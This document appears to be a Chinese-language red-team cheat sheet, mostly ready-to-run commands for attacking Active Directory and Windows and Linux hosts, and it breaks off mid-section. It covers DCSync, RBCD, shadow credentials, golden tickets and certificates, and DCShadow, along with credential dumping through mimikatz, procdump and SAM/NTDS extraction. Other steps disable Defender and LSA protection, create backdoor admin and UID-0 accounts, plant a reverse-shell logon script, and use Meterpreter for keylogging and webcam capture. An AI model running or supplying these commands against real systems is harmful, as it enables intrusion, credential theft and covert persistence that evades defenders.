bloodyAD --host $ip -u $user -p :$ntlm -d bloody add dcsync $user

之后直接打dcsync

impacket-secretsdump $user:$pass@$ip

GenericWrite

目标为组

将自己写入组

bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" add groupMember "DEVELOPERS" "$user"
or
bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p :$ntlm add groupMember "DEVELOPERS" "$user"

将自己移除组

bloodyAD --host $FQDN -d $DOMAIN -u $USER -p $pass remove groupMember '要移除的组' '目标(可以是组也可以是用户)'
or
bloodyAD --host $FQDN -d $DOMAIN -u $USER -p :$ntlm remove groupMember '要移除的组' '目标(可以是组也可以是用户)'

目标为机器用户

创建一个机器用户,并配置好此机器用户对目标机器的委派,之后直接打RBCD(基于资源委派)

具体操作流程如下

创建机器用户(我这里使用的是powermad,并且使用的是cred提供权限)

New-MachineAccount -MachineAccount test01 -Password (ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force) -Credential $Cred

构造rbcd

#获取新创建机器sid(用powerview或者其他工具都可以)
$ComputerSid = Get-DomainComputer test01 -Properties objectsid -Credential $Cred | Select -Expand objectsid
#构建ACE,也就是委派的dacl
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAG:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$(ComputerSid))"
#写入目标msDS-AllowedToActOnBehalfOfOtherIdentity属性,$target替换为实际目标hostname
Get-DomainComputer $target -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $Cred

后面就是正常的rbcd打法了

目标为用户

打靶向kerberoasting(Targeted Kerberoast),伪造 SPN 绑定,使该用户变成可被 Kerberoast 的目标。

targetedKerberoast.py

https://github.com/ShutdownRepo/targetedKerberoast/blob/main/targetedKerberoast.py
targetedKerberoast.py -v -d "$DC_HOST" -u "$USER" -p "$PASSWORD" --dc-ip $ip

bloodyAD

bloodyAD -d "$domain" --host $FQDN --dc-ip $ip -u "$user" -p "$password" set object "$target" servicePrincipalName -v 'http/anything'
or
bloodyAD -d "$domain" --host $FQDN --dc-ip $ip -u "$user" -p :$ntlm set object "$target" servicePrincipalName -v 'http/anything'

nxc

nxc ldap $ip -d $domain -u $user -H $hash --kerberoasting kerberoastables.txt

WriteProperty

目标为用户(靶向kerberoasting)

打靶向kerberoasting(Targeted Kerberoast),伪造 SPN 绑定,使该用户变成可被 Kerberoast 的目标。

targetedKerberoast.py

https://github.com/ShutdownRepo/targetedKerberoast/blob/main/targetedKerberoast.py
targetedKerberoast.py -v -d "$DC_HOST" -u "$USER" -p "$PASSWORD" --dc-ip $ip

bloodyAD

bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName -v 'http/anything'
or
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p :$ntlm set object "$TARGET" servicePrincipalName -v 'http/anything'

nxc

nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -H "$NThash" --kerberoasting kerberoastables.txt

目标为用户 (修改目标登陆脚本)

需要利用powerview,当我们具备全局写入权限,我们可以对用户使用 GenericWrite 来更新他们的登录脚本。此脚本将在用户下次登录时运行

准备一个你想执行的脚本放在目录当中

写入目标登陆脚本

Set-DomainObject -Identity $target -SET @{scriptpath="C:\\programdata\\test.ps1"}

Validated-SPN

目标为用户

打靶向kerberoasting(Targeted Kerberoast),伪造 SPN 绑定,使该用户变成可被 Kerberoast 的目标。

targetedKerberoast.py

https://github.com/ShutdownRepo/targetedKerberoast/blob/main/targetedKerberoast.py
targetedKerberoast.py -v -d "$DC_HOST" -u "$USER" -p "$PASSWORD"

bloodyAD

bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName -v 'http/anything'
or
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p :$ntlm set object "$TARGET" servicePrincipalName -v 'http/anything'

nxc

nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -H "$NThash" --kerberoasting kerberoastables.txt

ForceChangePassword

拥有此权限可以远程目标密码

bloodyAD

bloodyAD --host <DC_IP> -d <域名> -u <管理员用户名> -p <管理员密码> set password <目标用户> <新密码>
or
bloodyAD --host <DC_IP> -d <域名> -u <管理员用户名> -p :$ntlm set password <目标用户> <新密码>

nxc

nxc smb <ip> -u user -p pass -M change-password -o USER=TargetUser NEWPASS=NewPassword

rpc

先通过具备权限的用户登陆目标rpcclient
之后
setuserinfo2 <target-user> 23 'new_pass'
或者直接一句话
rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "0xdf!!!"'

本地powerview

$newpass = ConvertTo-SecureString 'wackyMAKER123!' -AsPlainText -Force
Set-DomainUserPassword -Identity $targets -AccountPassword $newpass

ReadGMSAPassword

gmsa(组托管服务账户),此账户具有额外属性msDS-GroupManagedServiceAccount,此属性写入的组允许读取此托管账户的hash,所以如果有对其的写入权限,也可以尝试打

这里演示一个如果a用户对b托管服务账户有写入权限如何添加到可读取的权限,也就是添加ReadGMSAPassword(此会话权限为a)

# 需要rast ad模块
Set-ADServiceAccount B -PrincipalsAllowedToRetrieveManagedPassword "a"

gMSADumper

拥有读取组管理服务账户的权限,可以远程利用以下工具读取

https://github.com/micahvandeusen/gMSADumper

使用如下

python3 gMSADumper.py -u $user -p $pass -l $domain -d $domain

bloodyad

bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" get object "$Target" --attr msDS-ManagedPassword
or
bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p :$ntlm get object "$Target" --attr msDS-ManagedPassword

nxc

nxc ldap $ip -u $user -p $pass --gmsa

WriteSPN

两种利用手法

kerberoasting

打靶向kerberoasting(Targeted Kerberoast),伪造 SPN 绑定,使该用户变成可被 Kerberoast 的目标。

可以理解为我们将一个用户变为服务账户,之后直接对他打Kerberoasting

本地powerview

首先给目标用户分配spn

set-DomainObject -identity $user -SET @{serviceprincipalname='test/$host'}

之后直接打Invoke-Kerberost,或者利用如下面命令请求tgt之后搞到v2hash,只需要powerview

Get-DomainUSer RSA_4810 | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash
远程

targetedKerberoast.py

https://github.com/ShutdownRepo/targetedKerberoast/blob/main/targetedKerberoast.py
targetedKerberoast.py -v -d "$DC_HOST" -u "$USER" -p "$PASSWORD" --dc-ip $ip

bloodyAD

bloodyAD -d "$domain" --host $FQDN --dc-ip $ip -u "$user" -p "$password" set object "$target" servicePrincipalName -v 'http/anything'
or
bloodyAD -d "$domain" --host $FQDN --dc-ip $ip -u "$user" -p :$ntlm set object "$target" servicePrincipalName -v 'http/anything'

nxc

nxc ldap $ip -d $domain -u $user -H $hash --kerberoasting kerberoastables.txt

SPN劫持

还没打过先不记录

在 Active Directory 里,每个用户或计算机对象都有一个属性叫 msDS-KeyCredentialLink。

这个属性保存了该账户允许的 公钥凭据 (Key Credentials),主要用于 Windows Hello for Business (WHfB) 或 FIDO 认证

这个权限允许我们对目标写入公钥,换句话说,允许我们打影子凭证

AllowedToAct

允许从执行方到目标的基于资源委派,也就是可以直接请求st的rbcd(已经配置好的rbcd,注意需要机器用户哈)

组策略GPO相关

SharpGPOAbuse

如果我们有修改组策略的权限,可以将自己写入管理员组

先查GPO

Get-GPO -All | Select-Object DisplayName

将自己写入管理员组

.\SharpGPOAbuse.exe --AddLocalADmin --UserAccount <user> --GPOName "GPO-name"

刷新组策略

gpupdate /force

可用于提权组策略

AlwaysInstallElevated

https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90

这是一个 Windows 组策略设置项。如果用户和系统都启用了它,任何用户都可以用 msiexec 安装一个以 SYSTEM 权限 执行的 MSI 安装包

1:使用powerup操作流程

Write-UserAddMSI #创建恶意msi逻辑如下

(net user backdoor Passw0rd! /add ;net localgroup administrators backdoor /add)

msiexec /quiet /qn /i C:\Path\To\YourGenerated.msi #有桌面权限也可以直接点击
之后会创建后门用户

2:使用MSI Wrapper主动生成能上线载荷的所有msi操作流程

工具地址https://www.exemsi.com/download/
运行后将exe载荷比如说msf之类的给它,并且选择运行时要求提升权限,生成完毕后安装即可
msiexec /q /i RunProcessHacker.msi
开头的文章写的比较清楚,此笔记只供速用

msf相关-后渗透模块

文件系统操作

ls, cd, pwd	     浏览目标文件系统
download <文件>	    下载文件
upload <文件>	    上传文件
search -f <关键字>	    搜索包含关键词的文件
cat <文件>	    直接读取文件内容
rm / mkdir / mv	    删除/新建/移动文件

系统信息收集

sysinfo	系统版本/架构/域信息
getenv	查看环境变量
ps	列出所有进程
getpid	当前 Meterpreter PID
shell	获取目标交互式 cmd shell

权限相关操作

getprivs	查看当前权限
run post/windows/escalate/getsystem	 提权为SYSTEM
load incognito → list_tokens -u → impersonate_token <token>	  模拟用户 Token 提权
run post/windows/escalate/uac	UAC 绕过尝试
steal_token <pid>	窃取进程 Token
rev2self	恢复初始权限状态

创建进程并迁移

execute -H -f notepad
migrate <pid>

加载mimikatz套件并导出所有凭证(需要权限)

先在已经搞到的session注入mimikatz
load kiwi

命令如下,注意不用打**

**creds_all**              获取所有凭据(已解析)  
**creds_kerberos**         获取 Kerberos 凭据(已解析)  
**creds_livessp**          获取 Live SSP 凭据  
**creds_msv**              获取 LM/NTLM 凭据(已解析)  
**creds_ssp**              获取 SSP 凭据  
**creds_tspkg**            获取 TsPkg 凭据(已解析)  
**creds_wdigest**          获取 WDigest 凭据(已解析)  
**dcsync**                 通过 DCSync 获取用户账户信息(未解析)  
**dcsync_ntlm**            通过 DCSync 获取用户账户的 NTLM 哈希、SID 和 RID  
**golden_ticket_create**   创建黄金 Kerberos 票据  
**kerberos_ticket_list**   列出所有 Kerberos 票据(未解析)  
**kerberos_ticket_purge**  清除当前使用的 Kerberos 票据  
**kerberos_ticket_use**    使用指定的 Kerberos 票据  
**kiwi_cmd**               执行任意 Mimikatz 命令(未解析)  
**lsa_dump_sam**           转储 LSA SAM 数据(未解析)  
**lsa_dump_secrets**       转储 LSA Secrets(未解析)  
**password_change**        修改用户的密码/哈希  
**wifi_list**              列出当前用户的 Wi-Fi 配置及凭据  
**wifi_list_shared**       列出共享 Wi-Fi 配置及凭据(需 SYSTEM 权限)

或者在获得system后直接hashdump

桌面级操作(核心)

在确保目标完全不存在杀软以及edr前,请不要随便使用摄像头

枚举当前所有桌面

enumdesktops

获取可用桌面并切换,切入会话操作是一切的基础

getdesktop
setdesktop <name>

截图当前桌面(貌似是低危操作,可使用)

screenshot

共享当前桌面(高危操作,不是因为容易报毒,而是容易断shell,桌面监控建议使用vshell)

screenshare

键盘监控(低危且好用)

keyscan_start / keyscan_dump / keyscan_stop

列出可用摄像头

webcam_list

利用摄像头拍摄,或者持续播放(高危中的高危,就没有不报敏感操作的)

webcam_snap
webcam_stream

抓取浏览器信息

貌似不是高危,还是看edr,并且建议以用户权限运行

use post/windows/gather/enum_browsers
set SESSION <你的 session ID>
run

msf不适合自己做持久化,因为其生成的exe都是报毒的

linux相关

提权三件套

sudo

sudo -l

suid

find / -perm -4000 2>/dev/null

pspy以及linpeas直接运行

py交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

抓包

最好移动到tmp目录下抓取,有可能会遇到root权限不足
开启任务
tcpdump -i eth0 -w .d.pcap -s 0 'not tcp port 22' &
实时查看文件大小,差不多了就可以杀掉传本地wireshark分析
jobs
kill %$id

后渗透利用

defender相关

添加排除目录

生成一个c:/temp目录并且使defender绕过扫描它

mkdir c:/temp
powershell -ep bypass -c "Add-MpPreference -ExclusionPath 'C:\Temp'"

关闭defender实时监控

powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true"

检查

powershell.exe -Command "Get-MpPreference | Select-Object -ExpandProperty DisableRealtimeMonitoring"

关闭defender

cmd /c "sc stop WinDefend"

后门相关

后门机器账户创建

首先查看当前用户有多少个计算机用户可以创建

nxc ldap $ip -u $user -p $pass -M maq

impacket包远程创建

impacket-addcomputer '$domain/$user:$pass' -method LDAPS -computer-name <name> -computer-pass <pass> -dc-ip $ip

#后门域管理创建(需域管理权限)

创建域用户

New-ADUser -Name "wackymaker" -SamAccountName "wackymaker" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true

赋予域管权限

Add-ADGroupMember -Identity "Domain Admins" -Members "wackyamker"

添加进入远程管理组

Add-ADGroupMember -Identity "Remote Desktop Users" -Members  "wackymaker"

后门无预认证账户创建(需域管理或者目标写入权限)

可以创建一个用户或着直接使用用户

powershell

# 创建用户
New-ADUser -Name "MrRobot" -SamAccountName "MrRobot" `
    -AccountPassword (ConvertTo-SecureString "mrroboto12" -AsPlainText -Force) `
    -Enabled $true `
    -Path "CN=Users,DC=novice,DC=com" `
    -HomeDirectory "C:\Users\MrRobot" `
    -HomeDrive "C:"

# 获取用户对象
$user = [ADSI]"LDAP://CN=MrRobot,CN=Users,DC=novice,DC=com"

# 获取当前 userAccountControl 数值
$uac = $user.userAccountControl.Value

# 添加免预认证标志(DONT_REQUIRE_PREAUTH = 4194304)
$user.userAccountControl = $uac -bor 4194304

# 保存修改
$user.SetInfo()

后门启动脚本替换

寻找是否能替换的话需要使用powerview

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "$target"}

如果有权限可以搞一个简单的powershell反弹shell或者其他bat塞进去

#创建
echo "powershell -e JABj...[snip]...CkA" | Out-File -FilePath wack.bat -Encoding ASCII
#设置脚本为目标的启动运行脚本
Get-ADUser $target | Set-ADUser -ScriptPath 'c:\wack.bat'

rdp相关

启用rdp并关闭放行rdp防火墙

#允许 RDP 连接(禁用“拒绝连接”):
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
#启用防火墙中的远程桌面规则
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
or
New-NetFirewallRule -DisplayName "Remote Desktop" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3389
#开启远程桌面的用户身份验证:
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1

开启受限制管理员模式(允许管理员hash登陆机器)

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -Force

使用管理员hash登陆

xfreerdp3 /u:$user /pth:$hash /v:$ip

开机自启三大操作(存在av会爆敏感)

启动项

gui添加

win + r
regedit
在这个路径添加
计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

命令添加

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v aa /t REG_SZ /d "C:\Windows\system32\calc.exe"

成功执行后目标会被添加如开机自启动

计划任务

gui添加

win + r
taskschd.msc

命令添加

schtasks /create /tn PentestLab /tr "C:\Windows\system32\calc.exe" /sc onlogon /ru Administrator
#/sc onlogon	设置任务的触发条件为:用户登录时执行
#/tn PentestLab	指定任务名称为 PentestLab
#/ru Administrator	指定以用户 Administrator(管理员账户) 的身份运行此任务

添加注册表

命令操作

copy "C:\Windows\system32\calc.exe" "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe"

简单来说就是这个路径会开机自启%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

落地凭证抓取(dcsync,lsass内存抓取,sam或者ntds本地抓取)

mimikatz-dcsync

privilege::debug
lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt

添加/history参数有可能能看到用户历史密码

lsadump::dcsync /domain:prod.corp1.com /user:prod\matt /history

impacket

hash

impacket-secretsdump $domain/$user@$ip -hashes $hash -target-ip $ip

密码

impacket-secretsdump $domain/$user:$pass@$ip -target-ip $ip

k

impacket-secretsdump $domain/$user@$ip -k -no-pass -dc-ip $ip -target-ip $ip

如果是本地抓取则是

hash

impacket-secretsdump '.\$user'@$ip -hashes $hash -target-ip $ip

密码

impacket-secretsdump '.\$user':$pass@$ip -target-ip $ip

nxc-ntds

nxc smb -dc-ip $ip -u administrator -H $hash --ntds
or
KRB5CCNAME=$admin.ccache nxc smb $ip --use-kcache --ntds --user Administrator

Procdump微软工具离线导出(无mimikatz落地)

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

下载到本地测试环境开启mimikatz

privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

mimikatz抓取本地登陆信息以及sam文件

privilege::debug
#抓取登陆hash以及密码
sekurlsa::logonpasswords
#抓取sam信息
lsadump::sam

通过转存本地解密全部hash

目标路径

SAM	C:\Windows\System32\config\SAM
SYSTEM	C:\Windows\System32\config\SYSTEM
SECURITY	C:\Windows\System32\config\SECURITY
ntds.dit	C:\Windows\NTDS\ntds.dit

抓到本地后可以解密

impacket-secretsdump -ntds /path/to/ntds.dit -system /path/to/SYSTEM LOCAL

绕过las(ppl)保护转存hash

mimikatz

需要同时上传mimidrv.sys

mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started
mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 536 -> 00/00 [0-0-0]
privilege::debug
sekurlsa::logonpasswords

lsadump::sam

PPLkiller

github地址

https://github.com/RedCursorSecurityConsulting/PPLKiller?tab=readme-ov-file

编译后上传exe以及dirver里面符合框架驱动

curl http://192.168.45.162:7777/PPLKiller.exe -o PPLKiller.exe
注意驱动需要下载到下面这个目录
curl http://192.168.45.162:7777/RTCore64.sys -o C:\Windows\system32\config\systemprofile\AppData\Local\Temp\RTCore64.sys
之后执行加载驱动
PPLKiller.exe /installDriver
之后关闭lsa
PPLKiller.exe /disableLSAProtection

域万能密码

mimikatz

注意只对2019(包含)之前的server有效

privilege::debug
misc::skeleton
注入成功之后域控的Lsass进程中会给所有账号添加万能密码mimikatz

黄金票据

先获取krbtgt或者信任账户hash

#黄金票据获取krbtgt——hash
lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt

黄金票据-mimikatz

mimikatz.exe "privilege::debug" "kerberos::golden /domain:prod.corp1.com /sid:S-1-5-21-634106289-3621871093-708134407 /rc4:cce9d6cd94eb31ccfbb7cc8eeadf7ce1 /user:Administrator /id:500 /ptt" "exit"

黄金票据-Impacket

impacket-ticketer -nthash <krbtgt NTLM hash> -domain-sid <SID> -domain example.com administrator
export KRB5CCNAME=administrator.ccache

跨域黄金票据

首先获取所需信息

#跨域黄金票据,获取rc4——hash以及两域sid
lsadump::trust /patch

跨域黄金票据-远程-mimikatz-所需信任账号hash(伪造为目标域内用户并访问目标域)

kerberos::golden /user:wackymaker /domain:prod.corp1.com /sid:S-1-5-21-634106289-3621871093-708134407 /sids:S-1-5-21-1587569303-1110564223-1586047116-519 /rc4:973a5e843a63f94a7f643ff95f064d83 /service:krbtgt /target:corp1.com /ticket:wackymaker.kirbi

跨域黄金票据-本地-mimikatz-所需当前域krbtgt.hash(伪造成本域用户并访问目标域)

kerberos::golden /user:administrator /domain:prod.corp1.com /sid:S-1-5-21-634106289-3621871093-708134407 /krbtgt:cce9d6cd94eb31ccfbb7cc8eeadf7ce1 /sids:S-1-5-21-1587569303-1110564223-1586047116-519 /ticket:admin_tgt.kirbi

黄金证书

先利用域管理权限获得CA 的私有签名密钥

certipy ca -u administrator@$domain -hashes :$hash -target $CA_FQDN -ns $ip -config $CA_FQDN\$CA -backup

预计生成

Certipy v5.0.0 - by Oliver Lyak (ly4k)
[*] Creating new service for backup operation
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Backing up original PFX/P12 to 'pfx.p12'
[*] Backed up original PFX/P12 to 'pfx.p12'
[*] Saving certificate and private key to 'CORP-CA.pfx'
[*] Wrote certificate and private key to 'CORP-CA.pfx'
[*] Cleaning up

再利用域管理员请求一个能请求的证书用来充当模板(这里其实只需要一个由此ca请求的模板即可,主要是伪造需要其中的一些关键参数)

certipy req -u administrator@$domain -hashes :$hash -template 'User' -ca $ca -target $CA_FQDN

利用生成的私钥以及示例模板创建黄金证书

certipy forge -template 'attacker.pfx' -ca-pfx 'CORP-CA.pfx' -upn administrator@$domain -sid 'S-1-5-21-...-500'

预计输出

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'

利用生成的黄金证书验证

certipy auth -pfx 'administrator_forged.pfx' -dc-ip $ip

预计输出

[*] Certificate identities:
[*]     SAN UPN: 'administrator@coder.htb'
[*]     SAN URL SID: 'S-1-5-21-2608251805-3526430372-1546376444-500'
[*]     Security Extension SID: 'S-1-5-21-2608251805-3526430372-1546376444-500'
[*] Using principal: 'administrator@coder.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
File 'administrator.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@coder.htb': aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7

dcshadow

mimikatz

DCShadow利用Active Directory的复制机制,伪装成一个域控制器,通过模拟复制服务(DRS RPC)向真实域控制器推送对目录对象的修改。攻击者需要在一台机器上以SYSTEM权限启动伪造的DC服务,准备要修改的属性,然后在另一台拥有域管理员权限的机器上发起复制请求,将这些修改同步到AD中。由于修改是通过合法复制流程进行,不会产生常规的对象修改日志,从而实现低日志痕迹的持久化攻击。简单来说,这种攻击手法利用了dc之间的同步复制,不会触发过多日志报警,适合实战中掌握域控后进行后渗透更改信息。

这种攻击行为默认需要两个mimikatz进行攻击,一台用于伪装dc(需要域内计算机system权限,使用位置不限),一台用于进行域同步从而更改域内信息(需要域管权限,使用位置不限),当然也可以都在dc上进行攻击,只是需要两个mimikatz而已

赋予普通用户域管权限

mimikatz1(用于伪装dc)

!+
!processtoken  #提权到 SYSTEM
lsadump::dcshadow /domain:corp.local /computer:DCFAKE /object:student1 /attribute:SIDHistory /value:S-1-5-21-...-519
#如果是在dc上进行攻击,无需/domain和/computer参数,如果是在域内机器,需要填入域内存在机器hostname以及域(可以不是当前机器,其作用只是方便真正的dc进行查找)
#/object 可以用DN或sAMAccountName,如:/object:CN=Administrator,CN=Users,DC=corp,DC=local

mimikatz2(向伪装dc发起域同步,修改信息)

lsadump::dcshadow /push
#该命令执行后,dc会直接对域内存在机器进行检测,如果检测到存在dc(我们伪装的),就会发起域同步进行信息更改

开启林sid信任

 netdom trust corp2.com /d:corp1.com /enablesidhistory:yes

影子凭证

需要注意影子凭证以下特性

1,影子凭证生成的证书无法用于证书传递,所以远程影子凭证后没有pkinit认证无法请求tgt的话利用会比较困难 2,winrm会话无完整令牌,可能会导致无法更改目标属性,可以使用msf进程迁移至交互桌面会话

whisker+rebues本地攻击

查询目标是否已经被写入

Whisker.exe list /target:sac1$

首先直接在具备权限的用户对目标注入

Whisker.exe add /target:sac1$

powerview查询写入证书(可选,检查是否成功写入)

get-netcomputer sac1

之后利用rebues请求tgt(在注入那一步whisker会生成命令,直接使用即可,以下命令是类似模板)

Rubeus.exe asktgt /user:sac1$ /certificate:MIIJuAIBAz/////yQICB9A= /password:"FordjX0Vp2VSncVV" /domain:first.local /dc:First-DC.first.local /getcredentials /show /ptt

certipy-ad远程攻击

运行不成功请更新certipy

用户密码

certipy shadow auto -username $user@$domain -password $pass -account $target -target $FQDN -dc-ip $ip

传递hash

certipy shadow auto -username $user@$domain -hashes :$hash -account $target -target $FQDN -dc-ip $ip

注意,老版本windows或许不会认可certipy的证书从而导致请求tgt失败,此时可以尝试pywhisker

pywhisker远程攻击

pywhistker可以通过pipx直接下载

用户密码

python3 pywhisker.py -d $domain -u $user -p $pass --target $target --action "add"

hash传递

python3 pywhisker.py -d $domain -u $user -H $ntlm --target $target --action "add"

之后利用pkinit包请求tgt

python3 gettgtpkinit.py -cert-pfx cert.pfx $domain/$target -pfx-pass $pass_of_cert $target.ccache

不想用gettgtpkinit认证也可以利用certipy,首先去除证书密码

certipy cert -export -pfx cert.pfx  -password $pass_of_cert -out cert1.pfx 

之后请求

certipy auth -pfx cert1.pfx  -dc-ip $ip  -username $target -domain $domain

bloodyad远程攻击

bloodyAD --host $ip -u $user -p $pass -d $domain add shadowCredentials $target --path /tmp/testuser.pem
or
bloodyAD --host $ip -u $user -p :$ntlm -d $domain add shadowCredentials $target --path /tmp/testuser.pem

利用ssl将生成的pem转为pfx

openssl pkcs12 -export -out testuser.pfx -inkey testuser.pem -in testuser.pem

之后利用pkinit包请求tgt

python3 gettgtpkinit.py -cert-pfx testuser.pfx bloody.local/testuser -pfx-pass 'your_export_password' testuser.ccache

dpapi解密

mimiikatz

解masterkey

无论是直接在目标机器上执行,还是将文件解码脱机都可以使用mimikatz解密 但是都得先解密主key

首先利用目标hash或者密码以及sid解主密钥(masterkey)

目标文件获取

C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<sid>>dir /a

解masterkey

dpapi::masterkey /in:"C:\users\wackymaker\desktop\masterkey" /sid:S-1-5-21-... /ntlm:7c53cfaa5a8f36205e5392b768b2923a
或者
dpapi::masterkey /in:"C:\users\wackymaker\desktop\masterkey" /sid:S-1-5-21-... /password:4Cc3ssC0ntr0ller

域环境中无密码hash解密masterkey

.\mimikatz.exe "dpapi::masterkey /in:C:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" exit

解cred

目标文件获取

C:\Users\<user>\AppData\Roaming\Microsoft\Credentials>dir /a

利用masterkey解密

dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9/masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

impacket-dpapi

使用impacket包解密都需要将内容先全部抓取下来

目标文件获取

C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<sid>>dir /a

解masterkey(举例)

impacket-dpapi masterkey -file cb5f08bd-480d-4d6e-9d2d-1d18c94fcb74 -sid S-1-5-21-298176814-2846777796-698167141-1103 -password 'Th3C@ll0fCtHu1hu!'

#### 解cred(举例)

目标文件获取

C:\Users\<user>\AppData\Roaming\Microsoft\Credentials>dir /a

利用上一步解密出来的masterkey解密

impacket-dpapi credential -file A2E4656BCBABFD9279E090E8482A7141 -key 0x0ff22e711e14912c168ec3943e2478081930413b24795f45028bf15992aebc0b5b0954128398441a4c2578c90e5c2da71bc678d8d5a4e66836e9f083e20eeb27

linux相关

部署ssh公钥后门

首先在本地生成公钥私钥

ssh-keygen -t rsa -b 4096 -f id_rsa

要求密码可以留空(最好留空),会生成两个文件

id_rsa
id_rsa.pub

将公钥传到目标机器用户的.ssh目录下并重命名为authorized_keys,这里我用的是base64

base64 -w0 id_rsa.pub #生成base64字符
echo "粘贴你的base64字符串" | base64 -d > authorized_keys #在目标机器.ssh目录下方创建

预期情况

bash-5.1# ls
authorized_keys
bash-5.1# pwd
/root/.ssh

将私钥权限设定正确后,便可利用私钥登陆

chmod 600 id_rsa
ssh root@$ip -i id_rsa

创建root级用户劫持后门

如果存在稳定交互shell

useradd -u 0 -o -g root -G root -M -s /bin/bash $user
passwd $user

如果不稳定,先修改root密码获取稳定shell之后部署如上部署后门

sudo sed -i 's|^root:.*|root:$6$iMuLtHxL$eBvAqDES77u7HyZJOoZMzLa7htpKdrQXWz7NPp1XnDncF/RgJ9Z12oOJFhS34A8hsGShfO/MQHai.DdZgYE2n0:18445:0:99999:7:::|' /etc/shadow
这里修改root密码为redhat,如果想替换也可以用如下命令生成hash
openssl passwd -6 -salt "$(openssl rand -base64 6)" $newpass

还有最简单的,直接将root的私钥抓到本地 每次利用私钥登陆

利用controlmaster劫持ssh后门

类似于接管windows现有rdp会话

首先需要在/.ssh目录下找到config(没有就创建一个),为其添加如下内容

Host *
        ControlPath ~/.ssh/controlmaster/%r@%h:%p
        ControlMaster auto
        ControlPersist yes

将其保存为644权限

chmod 644 ~/.ssh/config

在同级目录创建文件夹controlmaster

mkdir ~/.ssh/controlmaster

如果有其他人利用此用户ssh连接了其他机器,我们会在controlmaster文件夹看到如下文件生成

offsec@controller:~$ ls -al ~/.ssh/controlmaster/
total 8
drwxrwxr-x 2 offsec offsec 4096 May 13 13:55 .
drwx------ 3 offsec offsec 4096 May 13 13:55 ..
srw------- 1 offsec offsec    0 May 13 13:55 offsec@linuxvictim:22

此时有两种连接情况,1我们本身即是这个用户权限,即可直接ssh连接过去无需密码

offsec@controller:~$ ssh offsec@linuxvictim
Last login: Wed May 13 16:11:26 2020 from 192.168.120.40
offsec@linuxvictim:~$ 

2是我们具备root高权限,可用直接利用-S指定这个套接字劫持

root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim
Last login: Wed May 13 16:22:08 2020 from 192.168.120.40
offsec@linuxvictim:~$

还可以配合目录检查脚本来配合使用,比如说检测有新文件生成则访问我们的c2一次作为提醒有人中招了

/etc/profile.d/自动后门部署

  1. /etc/profile.d/ 目录的作用
    • 当用户登录 Linux 系统(特别是使用 Bash shell 时),系统会加载 /etc/profile 文件。
